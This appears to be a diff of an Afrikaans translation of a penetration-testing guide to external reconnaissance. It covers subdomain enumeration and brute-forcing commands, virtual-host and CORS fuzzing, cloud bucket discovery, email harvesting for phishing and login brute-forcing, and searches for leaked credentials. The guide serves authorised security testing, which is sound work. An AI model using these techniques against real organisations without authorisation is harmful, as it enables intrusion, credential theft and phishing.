Dit is blykbaar algemeen vir mense om subdomeine toe te ken aan IP-adresse wat aan wolkverskaffers behoort en op 'n stadium daardie IP-adres te verloor, maar vergeet om die DNS-rekord te verwyder. Daarom, deur net 'n VM in 'n wolk (soos Digital Ocean) te skep, sal jy eintlik 'n paar subdomeine oorneem.
|
||||
|
||||
[**Hierdie pos**](https://kmsec.uk/blog/passive-takeover/) verduidelik 'n storie daaroor en stel 'n skripsie voor wat 'n VM in DigitalOcean **begin**, die **IPv4** van die nuwe masjien **kry**, en in Virustotal vir subdomeinrekords wat daarna verwys, **soek**.
|
||||
[**Hierdie pos**](https://kmsec.uk/blog/passive-takeover/) verduidelik 'n storie daaroor en stel 'n skripsie voor wat 'n VM in DigitalOcean skep, die IPv4 van die nuwe masjien kry, en in Virustotal vir subdomeinrekords wat daarna verwys, soek.
|
||||
|
||||
### **Ander metodes**
|
||||
|
||||
|
@ -185,29 +180,29 @@ Dit is blykbaar algemeen vir mense om subdomeine aan IP-adresse toe te ken wat a
|
|||
|
||||
**Shodan**
|
||||
|
||||
Aangesien jy reeds die naam van die organisasie wat die IP-ruimte besit, ken. Jy kan daarna soek in shodan deur hierdie data te gebruik: `org:"Tesla, Inc."` Kyk na die gevonde gasheer vir nuwe onverwagte domeine in die TLS-sertifikaat.
|
||||
Aangesien jy reeds die naam van die organisasie wat die IP-ruimte besit, ken. Jy kan daarna soek in Shodan deur hierdie data te gebruik: `org:"Tesla, Inc."` Kontroleer die gevonde gasheer vir nuwe onverwagte domeine in die TLS-sertifikaat.
|
||||
|
||||
Jy kan die **TLS-sertifikaat** van die hoofwebblad besoek, die **Organisasienaam** verkry en dan soek na daardie naam binne die **TLS-sertifikate** van al die webblaaie wat deur **shodan** bekend is met die filter: `ssl:"Tesla Motors"` of gebruik 'n hulpmiddel soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Jy kan toegang verkry tot die **TLS-sertifikaat** van die hoofwebwerf, die **Organisasienaam** verkry, en dan soek na daardie naam binne die **TLS-sertifikate** van al die webwerwe wat deur **Shodan** bekend is met die filter: `ssl:"Tesla Motors"` of gebruik 'n instrument soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) is 'n hulpmiddel wat soek na **domeine wat verband hou** met 'n hoofdomein en **subdomeine** daarvan, baie indrukwekkend.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) is 'n instrument wat soek na **domeine wat verband hou** met 'n hoofdomein en hul **subdomeine**, baie indrukwekkend.
|
||||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
Kyk vir 'n [domeinoorneem](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Dalk gebruik 'n maatskappy **'n domein** maar hulle het die eienaarskap **verloor**. Registreer dit net (indien goedkoop genoeg) en laat die maatskappy weet.
|
||||
Kyk vir 'n [domeinoorneem](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Dalk gebruik 'n maatskappy 'n domein, maar hulle het die eienaarskap verloor. Registreer dit (as dit goedkoop genoeg is) en laat die maatskappy weet.
|
||||
|
||||
As jy enige **domein met 'n IP wat verskil** van diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
_Merk op dat die domein soms gehuisves word binne 'n IP wat nie deur die klient beheer word nie, so dit val buite die bestek, wees versigtig._
|
||||
As jy enige **domein met 'n ander IP** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
_Merk op dat die domein soms gehuisves word binne 'n IP wat nie deur die klient beheer word nie, dus dit val nie binne die omvang nie, wees versigtig._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bug bounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bug bounty platform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings te verdien tot **$100,000**!
|
||||
**Bugsbounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bugsbountyplatform geskep deur hackers, vir hackers**! Sluit vandag by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), en begin om belonings tot **$100,000** te verdien!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
## Subdomeine
|
||||
|
||||
> Ons ken al die maatskappye binne die bestek, al die bates van elke maatskappy en al die domeine wat verband hou met die maatskappye.
|
||||
> Ons ken al die maatskappye binne die omvang, al die bates van elke maatskappy en al die domeine wat verband hou met die maatskappye.
|
||||
|
||||
Dit is tyd om al die moontlike subdomeine van elke gevonde domein te vind.
|
||||
|
||||
|
@ -219,7 +214,7 @@ dnsrecon -a -d tesla.com
|
|||
```
|
||||
### **OSINT**
|
||||
|
||||
Die vinnigste manier om 'n groot hoeveelheid subdomeine te verkry, is deur te soek in eksterne bronne. Die mees gebruikte **hulpmiddels** is die volgende (om beter resultate te kry, stel die API-sleutels in):
|
||||
Die vinnigste manier om 'n groot aantal subdomeine te verkry, is deur in eksterne bronne te soek. Die mees gebruikte **hulpmiddels** is die volgende (om beter resultate te kry, stel die API-sleutels in):
|
||||
|
||||
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
|
||||
```bash
|
||||
|
@ -268,7 +263,7 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Daar is **ander interessante gereedskap/API's** wat selfs al is hulle nie direk gespesialiseer in die vind van subdomeine, nuttig kan wees om subdomeine te vind, soos:
|
||||
Daar is **ander interessante gereedskap/API's** wat selfs al is hulle nie direk gespesialiseer in die vind van subdomeine nie, nuttig kan wees om subdomeine te vind, soos:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Gebruik die API [https://sonar.omnisint.io](https://sonar.omnisint.io) om subdomeine te verkry
|
||||
```bash
|
||||
|
@ -333,7 +328,7 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) het 'n gratis API om te soek na subdomeine en IP-geskiedenis
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Hierdie projek bied **gratis al die subdomeine wat verband hou met foutjagprogramme** aan. Jy kan ook toegang tot hierdie data kry deur [chaospy](https://github.com/dr-0x0x/chaospy) te gebruik of selfs die omvang wat deur hierdie projek gebruik word, te benader [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Hierdie projek bied **gratis al die subdomeine wat verband hou met foutjagprogramme** aan. Jy kan ook toegang tot hierdie data kry deur [chaospy](https://github.com/dr-0x0x/chaospy) te gebruik of selfs die omvang wat deur hierdie projek gebruik word, te besoek [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Jy kan 'n **vergelyking** van baie van hierdie gereedskap hier vind: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
|
@ -349,11 +344,11 @@ Vir hierdie aksie sal jy 'n paar **gewone subdomeinwoordlyste soos** nodig hê:
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
En ook IP-adresse van goeie DNS-oplossers. Om 'n lys van vertroude DNS-oplossers te genereer, kan jy die oplossers van [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) aflaai en [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) gebruik om hulle te filter. Of jy kan gebruik maak van: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
En ook IP-adresse van goeie DNS-oplossers. Om 'n lys van vertroude DNS-oplossers te genereer, kan jy die oplossers aflaai van [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) en [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) gebruik om hulle te filter. Of jy kan gebruik maak van: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Die mees aanbevole gereedskap vir DNS-kragtige aksies is:
|
||||
Die mees aanbevole gereedskap vir DNS-kragtig is:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Dit was die eerste gereedskap wat 'n doeltreffende DNS-kragtige aksie uitgevoer het. Dit is baie vinnig, maar vatbaar vir vals positiewe.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Dit was die eerste gereedskap wat 'n effektiewe DNS-kragtig uitgevoer het. Dit is baie vinnig, maar vatbaar vir vals positiewe.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -363,7 +358,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n omhulsel rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine op te som deur aktiewe bruteforce te gebruik, asook om subdomeine op te los met wildcard hantering en maklike in- en uitset ondersteuning.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n omhulsel rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine op te som deur aktiewe bruteforce te gebruik, asook om subdomeine op te los met wildcard hantering en maklike in- en uitset-ondersteuning.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -377,7 +372,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
|||
```
|
||||
### Tweede DNS Brute-Force Ronde
|
||||
|
||||
Nadat subdomeine gevind is deur oop bronne en brute-force, kan jy veranderings van die gevonde subdomeine genereer om selfs meer te probeer vind. Verskeie gereedskap is nuttig vir hierdie doel:
|
||||
Nadat subdomeine gevind is deur oop bronne en brute-forcings, kan jy veranderings van die gevonde subdomeine genereer om selfs meer te vind. Verskeie gereedskappe is nuttig vir hierdie doel:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gee die domeine en subdomeine permutasies.
|
||||
```bash
|
||||
|
@ -392,7 +387,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Afgesien van die generering van subdomein-permutasies, kan dit ook probeer om hulle op te los (maar dit is beter om die vorige gekommenteerde gereedskap te gebruik).
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Afgesien van die generering van subdomein-permutasies, kan dit ook probeer om hulle op te los (maar dit is beter om die vorige gekommentariseerde gereedskap te gebruik).
|
||||
* Jy kan die altdns permutasies **woordelys** kry [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
|
@ -403,7 +398,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
|||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein **genereer dit nuwe potensiële subdomeinname** gebaseer op aangeduide patrone om meer subdomeine te ontdek.
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein **genereer dit nuwe potensiële subdomeinname** gebaseer op aangeduide patrone om te probeer om meer subdomeine te ontdek.
|
||||
|
||||
#### Slim permutasie generasie
|
||||
|
||||
|
@ -419,7 +414,7 @@ echo www | subzuf facebook.com
|
|||
```
|
||||
### **Subdomein Ontdekking Werkvloei**
|
||||
|
||||
Kyk na hierdie blogpos wat ek geskryf het oor hoe om die ontdekking van subdomeine outomaties te maak vanaf 'n domein deur die gebruik van **Trickest-werkvloei** sodat ek nie handmatig 'n klomp gereedskap op my rekenaar hoef te begin nie:
|
||||
Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking te outomatiseer** van 'n domein deur die gebruik van **Trickest-werkvloei** sodat ek nie handmatig 'n klomp gereedskap op my rekenaar hoef te begin nie:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -427,11 +422,11 @@ Kyk na hierdie blogpos wat ek geskryf het oor hoe om die ontdekking van subdomei
|
|||
|
||||
### **VHosts / Virtuele Gasheer**
|
||||
|
||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye op daardie IP** te vind deur in **OSINT-bronne** te kyk vir domeine in 'n IP of deur **VHost-domeinname op daardie IP te brute force**.
|
||||
As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat behoort aan subdomeine, kan jy probeer om **ander subdomeine met webbladsye op daardie IP** te vind deur in **OSINT-bronne** te kyk vir domeine op 'n IP of deur **VHost-domeinname op daardie IP te brute force**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
Jy kan sommige **VHosts in IPs vind deur** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **of ander API's te gebruik**.
|
||||
Jy kan sommige **VHosts in IPs vind deur** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **of ander API's** te gebruik.
|
||||
|
||||
**Brute Force**
|
||||
|
||||
|
@ -455,11 +450,11 @@ Met hierdie tegniek kan jy selfs moontlik toegang verkry tot interne/verborge ei
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Soms sal jy bladsye vind wat slegs die _**Access-Control-Allow-Origin**_ kop _terugstuur wanneer 'n geldige domein/subdomein in die _**Origin**_ kop is. In hierdie scenarios kan jy hierdie gedrag misbruik om nuwe **subdomeine** te **ontdek**.
|
||||
Soms sal jy bladsye vind wat slegs die _**Access-Control-Allow-Origin**_ kop _terugstuur wanneer 'n geldige domein/subdomein in die _**Origin**_ kop ingestel is. In hierdie scenarios kan jy hierdie gedrag misbruik om nuwe **subdomeine** te **ontdek**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Emmersie Kragaanval**
|
||||
### **Emmers Brute Force**
|
||||
|
||||
Terwyl jy op soek is na **subdomeine**, hou 'n oog dop om te sien of dit na enige soort **emmer** wys, en in daardie geval [**kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Ook, aangesien jy op hierdie punt al die domeine binne die omvang sal ken, probeer [**brute force moontlike emmernaam en kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
@ -473,13 +468,13 @@ Jy kan **moniter** of **nuwe subdomeine** van 'n domein geskep word deur die **S
|
|||
Kyk vir moontlike [**subdomein-oorneemaksies**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
As die **subdomein** na 'n **S3-emmer** wys, [**kontroleer die regte**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
As jy enige **subdomein met 'n IP wat verskil** van diegene wat jy reeds gevind het in die bates-ontdekking, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (deur Nessus of OpenVAS te gebruik) en 'n paar [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste loop, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
_Merk op dat soms die subdomein gehuisves word binne 'n IP wat nie deur die klient beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
||||
As jy enige **subdomein met 'n IP wat verskil** van diegene wat jy reeds in die batesontdekking gevind het, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n paar [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
_Merk op dat die subdomein soms gehuisves word binne 'n IP wat nie deur die klient beheer word nie, so dit is nie in die omvang nie, wees versigtig._
|
||||
|
||||
## IP's
|
||||
|
||||
In die aanvanklike stappe het jy dalk **'n paar IP-reeks, domeine en subdomeine gevind**.\
|
||||
Dit is tyd om **al die IP's van daardie reekse te versamel** en vir die **domeine/subdomeine (DNS-navrae).**
|
||||
Dit is tyd om al die IP's van daardie reekse te **versamel** en vir die **domeine/subdomeine (DNS-navrae).**
|
||||
|
||||
Deur dienste van die volgende **gratis API's** te gebruik, kan jy ook **vorige IP's wat deur domeine en subdomeine gebruik is, vind**. Hierdie IP's mag steeds deur die klient besit word (en mag jou in staat stel om [**CloudFlare-omleidings**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) te vind)
|
||||
|
||||
|
@ -489,7 +484,7 @@ Jy kan ook vir domeine wat na 'n spesifieke IP-adres wys, kyk met die hulpmiddel
|
|||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
**Poortskandering al die IP's wat nie aan CDN's behoort nie** (aangesien jy waarskynlik niks interessants daar sal vind nie). In die lopende dienste wat ontdek is, kan jy dalk **kwesbaarhede vind**.
|
||||
**Skandeer alle IP's wat nie aan CDNs behoort nie** (aangesien jy waarskynlik niks interessants daar sal vind nie). In die besigheidsdiens wat ontdek is, kan jy dalk **kwesbaarhede vind**.
|
||||
|
||||
**Vind 'n** [**gids**](../pentesting-network/) **oor hoe om gasheer te skandeer.**
|
||||
|
||||
|
@ -499,17 +494,17 @@ Jy kan ook vir domeine wat na 'n spesifieke IP-adres wys, kyk met die hulpmiddel
|
|||
|
||||
In die vorige stappe het jy waarskynlik al 'n bietjie **rekognisering van die IP's en domeine wat ontdek is** uitgevoer, so jy het dalk **al die moontlike webbedieners al gevind**. Indien nie, gaan ons nou sien na 'n paar **vinnige truuks om vir webbedieners te soek** binne die omvang.
|
||||
|
||||
Let asseblief daarop dat dit **georiënteer sal wees vir die ontdekking van webtoepassings**, dus jy moet ook die **kwesbaarheid** en **poortskandering** uitvoer (**indien toegelaat** deur die omvang).
|
||||
Let asseblief daarop dat dit **georiënteer sal wees vir die ontdekking van webtoepassings**, so jy moet ook die **kwesbaarheid** en **poortskandering** uitvoer (**indien toegelaat** deur die omvang).
|
||||
|
||||
'n **Vinnige metode** om **oophoue poorte** wat verband hou met **web** bedieners te ontdek met [**masscan** kan hier gevind word](../pentesting-network/#http-port-discovery).\
|
||||
'n Ander vriendelike hulpmiddel om vir webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy stuur net 'n lys van domeine en dit sal probeer om aan te sluit by poort 80 (http) en 443 (https). Daarbenewens kan jy aandui om ander poorte te probeer:
|
||||
'n **Vinnige metode** om **oophawens verband houend met webbedieners** te ontdek met [**masscan** kan hier gevind word](../pentesting-network/#http-port-discovery).\
|
||||
'n Ander vriendelike hulpmiddel om vir webbedieners te soek is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) en [**httpx**](https://github.com/projectdiscovery/httpx). Jy stuur net 'n lys domeine en dit sal probeer om aan te sluit by poort 80 (http) en 443 (https). Daarbenewens kan jy aandui om ander poorte te probeer:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Skermgrepe**
|
||||
|
||||
Nou dat jy **alle webbedieners** wat teenwoordig is in die omvang ontdek het (onder die **IP's** van die maatskappy en al die **domeine** en **subdomeine**), weet jy waarskynlik **nie waar om te begin nie**. Dus, laat ons dit eenvoudig maak en begin net deur skermskote van almal te neem. Net deur 'n **kykie** na die **hoofbladsy** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwesbaar** te wees.
|
||||
Nou dat jy **alle webbedieners** in die reikwydte ontdek het (onder die **IP's** van die maatskappy en al die **domeine** en **subdomeine**), weet jy waarskynlik **nie waar om te begin nie**. So, laat ons dit eenvoudig maak en begin net deur skermskote van almal te neem. Net deur 'n **kykie** na die **hoofbladsy** kan jy **vreemde** eindpunte vind wat meer **geneig** is om **kwesbaar** te wees.
|
||||
|
||||
Om die voorgestelde idee uit te voer, kan jy [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) of [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** gebruik.
|
||||
|
||||
|
@ -517,7 +512,7 @@ Verder kan jy dan [**eyeballer**](https://github.com/BishopFox/eyeballer) gebrui
|
|||
|
||||
## Openbare Wolkmiddels
|
||||
|
||||
Om potensiële wolkbates wat aan 'n maatskappy behoort te vind, moet jy **begin met 'n lys sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n kriptomaatskappy kan jy woorde soos: `"krypto", "beursie", "dao", "<domein_naam>", <"subdomein_name">` gebruik.
|
||||
Om potensiële wolkbates van 'n maatskappy te vind, moet jy **begin met 'n lys sleutelwoorde wat daardie maatskappy identifiseer**. Byvoorbeeld, vir 'n kriptomaatskappy kan jy woorde soos: `"krypto", "beursie", "dao", "<domein_naam>", <"subdomein_name">` gebruik.
|
||||
|
||||
Jy sal ook woordlyste van **gewone woorde wat in houers gebruik word** benodig:
|
||||
|
||||
|
@ -525,28 +520,28 @@ Jy sal ook woordlyste van **gewone woorde wat in houers gebruik word** benodig:
|
|||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Daarna moet jy met daardie woorde **permutasies genereer** (kyk na die [**Tweede Ronde DNS Brute-Force**](./#second-dns-bruteforce-round) vir meer inligting).
|
||||
Daarna, met daardie woorde, moet jy **permutasies genereer** (kyk na die [**Tweede Ronde DNS Brute-Force**](./#second-dns-bruteforce-round) vir meer inligting).
|
||||
|
||||
Met die resulterende woordlyste kan jy gereedskap soos [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **of** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gebruik.
|
||||
|
||||
Onthou dat wanneer jy na Wolkbates soek, jy **meer as net houers in AWS** moet soek.
|
||||
|
||||
### **Opsoek na kwesbaarhede**
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
As jy dinge soos **oophouers of blootgestelde wolkfunksies** vind, moet jy **hulle toegang** en probeer sien wat hulle jou bied en of jy dit kan misbruik.
|
||||
|
||||
## E-posse
|
||||
|
||||
Met die **domeine** en **subdomeine** binne die omvang het jy basies alles wat jy **nodig het om te begin soek na e-posse**. Dit is die **API's** en **gereedskap** wat vir my die beste gewerk het om e-posse van 'n maatskappy te vind:
|
||||
Met die **domeine** en **subdomeine** binne die reikwydte het jy basies alles wat jy **nodig het om te begin soek na e-posse**. Dit is die **API's** en **gereedskap** wat vir my die beste gewerk het om e-posse van 'n maatskappy te vind:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - met API's
|
||||
* API van [**https://hunter.io/**](https://hunter.io/) (gratis weergawe)
|
||||
* API van [**https://app.snov.io/**](https://app.snov.io/) (gratis weergawe)
|
||||
* API van [**https://minelead.io/**](https://minelead.io/) (gratis weergawe)
|
||||
|
||||
### **Opsoek na kwesbaarhede**
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
E-posse sal later van pas kom om **webaanmeldings en outentifikasiedienste te brute force** (soos SSH). Ook is hulle nodig vir **hengel**. Verder sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die hengelveldtog.
|
||||
E-posse sal later van pas kom om **webaanmeldings en outentiseringsdienste te krag** (soos SSH). Dit is ook nodig vir **hengel**. Verder sal hierdie API's jou selfs meer **inligting oor die persoon** agter die e-pos gee, wat nuttig is vir die hengelveldtog.
|
||||
|
||||
## Gelêkte Gelde
|
||||
|
||||
|
@ -555,13 +550,13 @@ Met die **domeine**, **subdomeine**, en **e-posse** kan jy begin soek na gelêkt
|
|||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Opsoek na kwesbaarhede**
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
As jy **geldige gelêkte** gelde vind, is dit 'n baie maklike wen.
|
||||
|
||||
## Geheim Gelde
|
||||
|
||||
Gelêkte gelde is verwant aan hacks van maatskappye waar **sensitiewe inligting gelekte en verkoop** is. Maatskappye kan egter geraak word deur **ander lekke** waarvan die inligting nie in daardie databasisse is nie:
|
||||
Gelêkte gelde is verwant aan hacks van maatskappye waar **sensitiewe inligting gelekte en verkoop** is. Maatskappye kan egter ook deur **ander lekke** geraak word waarvan die inligting nie in daardie databasisse is nie:
|
||||
|
||||
### Github Gelde
|
||||
|
||||
|
@ -585,11 +580,11 @@ Jy kan die gereedskap [**Pastos**](https://github.com/carlospolop/Pastos) gebrui
|
|||
|
||||
### Google Dorks
|
||||
|
||||
Ou maar goeie google dorks is altyd nuttig om **blootgestelde inligting wat nie daar behoort nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan hardloop nie. So, jy kan jou gunsteling 10 kry of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal te hardloop**.
|
||||
Ou maar goud google dorks is altyd nuttig om **blootgestelde inligting wat nie daar behoort te wees nie** te vind. Die enigste probleem is dat die [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) verskeie **duisende** moontlike navrae bevat wat jy nie handmatig kan hardloop nie. So, jy kan jou gunsteling 10 kry of jy kan 'n **gereedskap soos** [**Gorks**](https://github.com/carlospolop/Gorks) **gebruik om hulle almal te hardloop**.
|
||||
|
||||
_Merk op dat die gereedskap wat verwag om die hele databasis te hardloop deur die gewone Google-blaaier te gebruik, nooit sal eindig nie, aangesien Google jou baie baie gou sal blokkeer._
|
||||
_Merk op dat die gereedskappe wat verwag om die hele databasis met die gewone Google-blaaier te hardloop, nooit sal eindig nie, aangesien Google jou baie baie gou sal blokkeer._
|
||||
|
||||
### **Opsoek na kwesbaarhede**
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
As jy **geldige gelêkte** gelde of API-tokens vind, is dit 'n baie maklike wen.
|
||||
|
||||
|
@ -597,7 +592,7 @@ As jy **geldige gelêkte** gelde of API-tokens vind, is dit 'n baie maklike wen.
|
|||
|
||||
As jy vind dat die maatskappy **open-source kode** het, kan jy dit **ontleed** en soek na **kwesbaarhede** daarin.
|
||||
|
||||
**Afhanklik van die taal** is daar verskillende **gereedskap** wat jy kan gebruik:
|
||||
**Afhanklik van die taal** is daar verskillende **gereedskappe** wat jy kan gebruik:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
|
@ -608,13 +603,13 @@ Daar is ook gratis dienste wat jou toelaat om **openbare bewaarplekke te skandee
|
|||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Pentesting Web Metodologie**](../../network-services-pentesting/pentesting-web/)
